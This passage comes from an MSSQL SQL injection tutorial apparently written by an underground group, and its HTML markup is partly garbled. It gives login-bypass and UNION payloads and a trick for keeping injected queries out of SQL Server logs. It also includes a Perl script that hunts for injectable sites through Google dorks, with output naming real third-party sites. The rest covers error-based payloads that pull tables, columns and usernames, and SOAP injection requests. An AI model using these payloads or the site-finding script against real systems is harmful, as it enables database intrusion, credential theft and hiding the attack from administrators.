AND password = 'anything'&lt;br /&gt; [End Code]----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  ** Note **&lt;br /&gt;&lt;br /&gt;  --  is comment operator of MSSQL DB used to comment out everything following this operator.&lt;br /&gt;  /*Comment*/ Inline comment, Comments out rest of the query by not closing them / Bypass blacklisting.&lt;br /&gt;    &lt;br /&gt;    DROP/*comment*/sampletable &lt;br /&gt;    DR/**/OP/*bypass blacklisting*/sampletable &lt;br /&gt;    SELECT/*avoid-spaces*/password/**/FROM/**/Members&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then&lt;br /&gt; you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash &lt;br /&gt; of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.&lt;br /&gt;  &lt;br /&gt;  formusr = admin &lt;br /&gt;  formpwd = pass ' AND 1=2 UNION ALL SELECT 'admin', '1a1dc91c907325c69271ddf0c944bc72&lt;br /&gt;&lt;br /&gt; 1a1dc91c907325c69271ddf0c944bc72 = MD(pass)&lt;br /&gt;&lt;br /&gt; +++++++++++++++++++++++++++++&lt;br /&gt;  [0x01d] - Audit Log Evasion&lt;br /&gt; +++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;  When we injection some code with SQLi Techniques, All of the SQL queries can be logged and admin can know what's happen ?&lt;br /&gt; The technique for evade logging, We use "sp_password"&lt;br /&gt;&lt;br /&gt;  formusr = ' or 1=1 -- sp_password&lt;br /&gt;  formpwd = anything&lt;br /&gt;&lt;br /&gt;  SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries &lt;br /&gt; it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible).&lt;br /&gt;&lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x01e] - (Perl Script) SQL-Google searching vulnerable sites&lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt; &lt;br /&gt;  The Good way to searching sites that have SQL injection vulnerability is "Google" &lt;br /&gt; (That powerful to use every search engines to searching with IRCbots). We developed simple Perl script for&lt;br /&gt; searching SQL injection holes (MSSQL, Mysql, MS Access, Oracle) name "SQL-Google Search":&lt;br /&gt;&lt;br /&gt; [code]-----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; #!/usr/bin/perl&lt;br /&gt; use LWP::Simple;&lt;br /&gt; use LWP::UserAgent;&lt;br /&gt; use HTTP::Request;&lt;br /&gt; my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); } &lt;br /&gt; print "+++++++++++++++++++++++++++++++\n";&lt;br /&gt; print "+     SQL - Google Search     +\n";&lt;br /&gt; print "+       CWH Underground       +\n";&lt;br /&gt; print "+++++++++++++++++++++++++++++++\n\n";&lt;br /&gt; print "Insert Dork:";&lt;br /&gt; chomp( my $dork = &lt;stdin&gt; );&lt;br /&gt; print "Total Query Pages (10 Links/Pages) :";&lt;br /&gt; chomp( my $page = &lt;stdin&gt; );&lt;br /&gt; print "\n[+] Result:\n\n";&lt;br /&gt; for($start = 0;$start != $page*10;$start += 10)&lt;br /&gt; { &lt;br /&gt; $t = "http://www.google.com/search?hl=en&amp;amp;q=".$dork."&amp;amp;btnG=Search&amp;amp;start=".$start;&lt;br /&gt;     $ua = LWP::UserAgent-&amp;gt;new(agent =&amp;gt; 'Mozilla 5.2');&lt;br /&gt;     $ua-&amp;gt;timeout(10);&lt;br /&gt;     $ua-&amp;gt;env_proxy;&lt;br /&gt;     $response = $ua-&amp;gt;get($t);&lt;br /&gt;     if ($response-&amp;gt;is_success)&lt;br /&gt;     {&lt;br /&gt;         $c = $response-&amp;gt;content;&lt;br /&gt;         @stuff = split(/&lt;a $line(@stuff)="" $out="$1;" $ua="LWP::UserAgent-" \"="" class="l/ig)" foreach="" g;="" href="http://www.blogger.com/,$c);" if($line="~/(.*)" s="" {=""&gt;new(agent =&amp;gt; 'Mozilla 5.2');&lt;br /&gt;   $ua-&amp;gt;timeout(10);&lt;br /&gt;   $ua-&amp;gt;env_proxy;&lt;br /&gt;   $response = $ua-&amp;gt;get($out);&lt;br /&gt;   $error = $response-&amp;gt;content();&lt;br /&gt;   if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)&lt;br /&gt;    {print "$out =&amp;gt; Could be Vulnerable in MySQL Injection!!\n";}&lt;br /&gt;   elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)&lt;br /&gt;    {print "$out =&amp;gt; Could be Vulnerable in MS Access Injection!!\n";}&lt;br /&gt;   elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)&lt;br /&gt;    {print "$out =&amp;gt; Could be Vulnerable in MSSQL Injection!!\n";}&lt;br /&gt;   elsif($error =~m/Microsoft OLE DB Provider for Oracle/)&lt;br /&gt;    {print "$out =&amp;gt; Could be Vulnerable in Oracle Injection!!\n";}&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;     }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt; [End code]----------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt; [output]------------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt; +++++++++++++++++++++++++++++++&lt;br /&gt; +     SQL - Google Search     +&lt;br /&gt; +       CWH Underground       +&lt;br /&gt; +++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt; Insert Dork:index.asp?sid=&lt;br /&gt; Total Query Pages (10 Links/Pages) :5&lt;br /&gt;&lt;br /&gt; [+] Result:&lt;br /&gt;&lt;br /&gt; http://www.ris.org.uk/index.asp?sid=7&amp;amp;mid=5' =&amp;gt; Could be Vulnerable in MSSQL Injection!!&lt;br /&gt; http://www.waterbucket.ca/rm/index.asp?type=single&amp;amp;sid=44&amp;amp;id=307' =&amp;gt; Could be Vulnerable in MSSQL Injection!!&lt;br /&gt; http://www.ilri.org/research/Index.asp?SID=4' =&amp;gt; Could be Vulnerable in MSSQL Injection!!&lt;br /&gt; &lt;br /&gt; [End output]--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;############################################&lt;br /&gt; [0x02] - MSSQL Normal SQL Injection Attack&lt;br /&gt;############################################&lt;br /&gt;&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  &lt;br /&gt;  We can use information from error message produced by the MS SQL Server to get almost any data we want. &lt;br /&gt; &lt;br /&gt; - "GROUP BY" is a microsoft sql server command used to group output of particular sql query.&lt;br /&gt; - "HAVING" is a command used to specify a search condition for a group or an aggregate. &lt;br /&gt;   this command is always used with "GROUP BY" otherwise the error will return.&lt;br /&gt;&lt;br /&gt;  As the operation of these two commands, we can take advantage of them in order to &lt;br /&gt; obtain particular table name and all column names of this table. We will explain you by using an example.&lt;br /&gt;&lt;br /&gt;  First, The target has a table called "news" and in news, there are three columns, which are news_id, news_author and news_detail.&lt;br /&gt; &lt;br /&gt; The vulnerable page is http://www.example.com/page.asp?id=1&lt;br /&gt; The query in this page is something like &lt;br /&gt;&lt;br /&gt;  [Query]-----------------------------------------------------------------------------&lt;br /&gt;  var query = "SELECT * FROM news WHERE news_id= '" + column+ "'";&lt;br /&gt;  [End query]-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; So, we can inject HAVING command in order to observe returned error&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1' HAVING 1=1--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; The query will be &lt;br /&gt;&lt;br /&gt;  SELECT * FROM news WHERE news_id='1' HAVING 1=1--'&lt;br /&gt;&lt;br /&gt; We will get the error as following:&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in &lt;br /&gt;  the select list because it is not contained in an aggreate function and there is no GROUP BY clause. &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; In this error, we know table name = "news", used in this page and &lt;br /&gt; one column name = "news_id", contained in particular table.&lt;br /&gt; &lt;br /&gt; The error is originate from using HAVING command without GROUP BY command. &lt;br /&gt; Moreover, we can get the other column names by using combination of GROUP BY and HAVING command.&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; The query will be&lt;br /&gt;&lt;br /&gt;  SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id HAVING 1=1--'&lt;br /&gt;&lt;br /&gt; We will get the error&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in &lt;br /&gt;  the select list because it is not contained in an aggreate function and there is no GROUP BY clause.&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; Now, we know the second column name of table1 = "news_author". The third column name can be obtained &lt;br /&gt; by adding the second column name in the previous query&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; The query will be&lt;br /&gt;&lt;br /&gt;  SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author HAVING 1=1--'&lt;br /&gt;&lt;br /&gt; The request will generate following error&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in &lt;br /&gt;  the select list because it is not contained in an aggreate function and there is no GROUP BY clause.&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; The third column name = "news_detail", pops up in returned error. If we had more columns, &lt;br /&gt; we could add news_detail in GROUP BY clause of previous request then we could get the forth column name.&lt;br /&gt;&lt;br /&gt; When we added all of column in GROUP BY clause, we will get normal result and&lt;br /&gt; we absolutely know that we obtained all column name in table1.&lt;br /&gt;&lt;br /&gt; As this example, the request below will generate no error.&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; The query will be&lt;br /&gt;&lt;br /&gt;  SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--'&lt;br /&gt;&lt;br /&gt; As no error return, we know that table1 consists of three columns which are "news_id", "news_author" and "news_detail".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x02b] - ODBC Error Message Attack with "CONVERT"&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;  In our opinion, MSSQL expresses much information in returned error. It is useful for programmers to debug their application meanwhile &lt;br /&gt; it is valuable for many attackers, as seeing in previous section.&lt;br /&gt;&lt;br /&gt;  In this section, we provide another method of utilizing from MSSQL error through a command called "convert".&lt;br /&gt; convert command is used to convert between two data type and when the specific data cannot convert to another type, &lt;br /&gt; this command will return error. let see through an example:&lt;br /&gt;&lt;br /&gt; In this example, we show you how to obtain MSSQL_Version, DB_name, User_name.&lt;br /&gt;&lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,@@version)--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt; Error Message returned:&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 &lt;br /&gt;  22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) &lt;br /&gt;  ' to data type int.&lt;br /&gt;  /page.asp, line 9 &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt; Now, We know the version of MSSQL and OS (Windows 2003 Server), Let's go to enumerate DB_name.&lt;br /&gt;&lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,db_name())--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt; Error Message returned:&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'cwhdb' to data type int.&lt;br /&gt;  /page.asp, line 9&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We can know the Database name = "cwhdb", Next is query for get current user that run DB.&lt;br /&gt;&lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,user_name())--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; Error Message returned:&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'sa' to data type int.&lt;br /&gt;  /showthread.asp, line 9&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; W00t!! W00t!!, It use "sa" privileges lol. This information can help us that we can use extended &lt;br /&gt; stored procedure "XP_CMDSHELL" to run arbitrary command executes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; In next example, we show you how to obtain table names, column names and data.&lt;br /&gt;&lt;br /&gt; Take a look at our First request&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; "information_schema.tables" stores information about tables in databases and there is a field called "table_name" &lt;br /&gt; which stores names of each table. The result of this request is something like this:&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'threads' to data type int.&lt;br /&gt;  /page.asp, line 9 &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  From the query, we get threads as a nvarchar data type and as it cannot convert from threads to int data type, the error is returned.&lt;br /&gt; Therefore, we know the first table = "threads", from this error. The next step is looking for the second table. &lt;br /&gt; We only put WHERE clause append the query in above request.&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+&lt;br /&gt;  not+in+('threads')))--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We will get an error like this:&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'users' to data type int.&lt;br /&gt;  /page.asp, line 9 &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; Again, we know the second table = "users", from the error. If we want another table, we just append our known table list. for example,&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+&lt;br /&gt;  not+in+('threads','users')))--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; And we will get an error:&lt;br /&gt;&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'forums' to data type int.&lt;br /&gt;  /page.asp, line 9&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; This means the third table = "forums". On the other hand, if the previous request return something like this.&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  ADODB.Field error '800a0bcd'&lt;br /&gt;  Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.&lt;br /&gt;  /page.asp, line 10&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; It means this database consists of only two tables, threads and users.&lt;br /&gt;&lt;br /&gt;  OK, now, we already get all tables. The next target is column names.&lt;br /&gt; The method to retrieve column names is not much different from getting table names.&lt;br /&gt; We merely change from "information_schema.tables" to "information_schema.columns" and from "table_name" to "column_name"&lt;br /&gt; but we have to add "table_name" in WHERE cluase in order to specify the table which we will pull column names from.&lt;br /&gt;&lt;br /&gt; Don't talk too much, let see an example&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; From this request, we get an following error&lt;br /&gt; &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'uname' to data type int.&lt;br /&gt;  /showthread.asp, line 9 &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; As the same approach of getting table names, we abruptly know that the first column of table 'users' is "uname".&lt;br /&gt; For another column name, we add a bit in WHERE clause.&lt;br /&gt;&lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+&lt;br /&gt;  and+column_name+not+in+('uname')))--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We will get an below error.&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'upass' to data type int.&lt;br /&gt;  /showthread.asp, line 9 &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; Absolutely we know the second column = "upass", of table 'users'. For getting more column names, &lt;br /&gt; we only append a known table list like that in getting table names. For example,&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+&lt;br /&gt;  and+column_name+not+in+('uname','upass')))--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; The Error message:&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'email' to data type int.&lt;br /&gt;  /showthread.asp, line 9 &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; So, the third column is "email". but if the error is&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  ADODB.Field error '800a0bcd'&lt;br /&gt;  Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.&lt;br /&gt;  /page.asp, line 10 &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; This means no more column left. Next is the real target which attackers want, the data.&lt;br /&gt; If take a look carefully, we will see that the idea is not different from getting table and column.&lt;br /&gt; Use the same manner but change only table and column name.&lt;br /&gt;&lt;br /&gt; If we want uname data in table users, we can do like this:&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users))--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We will see uname in returned error.&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'admin' to data type int.&lt;br /&gt;  /page.asp, line 9 &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; Now, we know that there is 'admin' in column 'uname' of table 'users'. For another uname, &lt;br /&gt; we just create a known table list as table and column.&lt;br /&gt;&lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')))--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; Error again:&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e07'&lt;br /&gt;  Conversion failed when converting the nvarchar value 'cwh' to data type int.&lt;br /&gt;  /page.asp, line 9&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; OK, we get another "uname" which is 'cwh'. If we try following request.&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin','cwh')))--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; And we get an error like this&lt;br /&gt;&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  ADODB.Field error '800a0bcd'&lt;br /&gt;  Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.&lt;br /&gt;  /showthread.asp, line 10 &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; It means there are only two uname in users table (admin,cwh).&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt; [0x02d] - MSSQL Injection in Web Services (SOAP Injection)&lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  &lt;br /&gt;  Web Services use XML messages that follow the SOAP standard and have been popular with traditional enterprise. &lt;br /&gt; In such systems, there is often a machine-readable description of the operations offered by the service written in the &lt;br /&gt; Web Services Description Language (WSDL). &lt;br /&gt;  SOAP is often used in large-scale enterprise applications where individual tasks are performed by different computers to &lt;br /&gt; improve performance. It's often found where web application that deployed as a front-end to an existing application.&lt;br /&gt;&lt;br /&gt;   Let's take a look for SOAP request like this:&lt;br /&gt; &lt;br /&gt;  [SOAP Request]------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  POST /webservice/service.asmx HTTP/1.0&lt;br /&gt;  User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)&lt;br /&gt;  Content-Type: text/xml; charset=utf-8&lt;br /&gt;  SOAPAction: "http://tempuri.org/GetUserInfo"&lt;br /&gt;  Host: testcwh.cwh.net&lt;br /&gt;  Content-Length: 345&lt;br /&gt;  Expect: 100-continue&lt;br /&gt;  Connection: Keep-Alive&lt;br /&gt; &lt;br /&gt;  &lt;soap:envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;&lt;soap:body&gt;&lt;br /&gt;  &lt;getuserinfo xmlns="http://tempuri.org/"&gt;&lt;username&gt;admin&lt;/username&gt;&lt;password&gt;1234&lt;/password&gt;&lt;/getuserinfo&gt;&lt;/soap:body&gt;&lt;/soap:envelope&gt;&lt;br /&gt;  &lt;br /&gt;  [End Request]-------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;   Can you see username(admin) and password(1234) that send to Server side ?&lt;br /&gt;&lt;br /&gt;   What's happen if we injection (') single quote to username field like this: &lt;username&gt;admin'&lt;/username&gt;&lt;password&gt;1234&lt;/password&gt;&lt;br /&gt;  before It send to Server Side. We can use Web proxy (Burpsuite, Paros proxy) to intercept SOAP request and SOAP respond.&lt;br /&gt;&lt;br /&gt;  [SOAP Respond When we inject single quote]--------------------------------------------------&lt;br /&gt; &lt;br /&gt;  HTTP/1.1 200 OK&lt;br /&gt;  Date: Mon, 26 Jan 2009 15:45:27 GMT&lt;br /&gt;  Server: Microsoft-IIS/6.0&lt;br /&gt;  X-Powered-By: ASP.NET&lt;br /&gt;  X-AspNet-Version: 2.0.50727&lt;br /&gt;  Cache-Control: private, max-age=0&lt;br /&gt;  Content-Type: text/xml; charset=utf-8&lt;br /&gt;  Content-Length: 1057&lt;br /&gt;  Connection: close&lt;br /&gt;  X-Junk: xxxxxxxxxxx&lt;br /&gt; &lt;br /&gt;  &lt;soap:envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;&lt;soap:body&gt;&lt;br /&gt;  &lt;getuserinforesponse xmlns="http://tempuri.org/"&gt;&lt;getuserinforesult&gt;&lt;erroroccured&gt;true&lt;/erroroccured&gt;&lt;errorstr&gt;&lt;br /&gt;  System.Data.OleDb.OleDbException: Unclosed quotation mark after the character string ''.&lt;br /&gt;  Incorrect syntax near '81'.&lt;br /&gt;     at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)&lt;br /&gt;     at System.Data.OleDb.OleDbDataReader.NextResult()&lt;br /&gt;     at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)&lt;br /&gt;     at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)&lt;br /&gt;     at Service.GetUserInfo(String username, String password)&lt;/errorstr&gt;&lt;sqlquery&gt;SELECT * FROM users WHERE username='admin'' &lt;br /&gt;     AND password='81dc9bdb52d04dc20036dbd8313ed055'&lt;/sqlquery&gt;&lt;id&gt;-1&lt;/id&gt;&lt;joindate&gt;0001-01-01T00:00:00&lt;/joindate&gt;&lt;/getuserinforesult&gt;&lt;br /&gt;     &lt;/getuserinforesponse&gt;&lt;/soap:body&gt;&lt;/soap:envelope&gt;&lt;br /&gt;  &lt;br /&gt;  [End Respond]-------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;  Okey, The SOAP respond return error message like that. We can use simple techiques for SQLi that we showed you &lt;br /&gt;  in section [0x02b] - ODBC Error Message Attack with "CONVERT", Let's use this SQLi: &lt;br /&gt;  &lt;br /&gt;   admin' and 1=convert(int,@@version)--&lt;br /&gt; &lt;br /&gt;  [SOAP Request/Respond]----------------------------------------------------------------------&lt;br /&gt;  &lt;br /&gt;  *** Request ***&lt;br /&gt;  POST /webservice/service.asmx HTTP/1.0&lt;br /&gt;  User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)&lt;br /&gt;  Content-Type: text/xml; charset=utf-8&lt;br /&gt;  SOAPAction: "http://tempuri.org/GetUserInfo"&lt;br /&gt;  Host: testcwh.cwh.net&lt;br /&gt;  Content-Length: 384&lt;br /&gt;  &lt;br /&gt;  &lt;soap:envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;&lt;soap:body&gt;&lt;br /&gt;  &lt;getuserinfo xmlns="http://tempuri.org/"&gt;&lt;username&gt;admin' and 1=convert(int,@@version)--&lt;/username&gt;&lt;password&gt;1234&lt;/password&gt;&lt;br /&gt;  &lt;/getuserinfo&gt;&lt;/soap:body&gt;&lt;/soap:envelope&gt;&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;  *** Response ***&lt;br /&gt;  HTTP/1.1 200 OK&lt;br /&gt;  Date: Wed, 28 Jan 2009 15:59:17 GMT&lt;br /&gt;  Server: Microsoft-IIS/6.0&lt;br /&gt;  X-Powered-By: ASP.NET&lt;br /&gt;  X-AspNet-Version: 2.0.50727&lt;br /&gt;  Cache-Control: private, max-age=0&lt;br /&gt;  Content-Type: text/xml; charset=utf-8&lt;br /&gt;  Content-Length: 1266&lt;br /&gt;  Connection: close&lt;br /&gt;  X-Junk: xxxxxxxxxxx&lt;br /&gt; 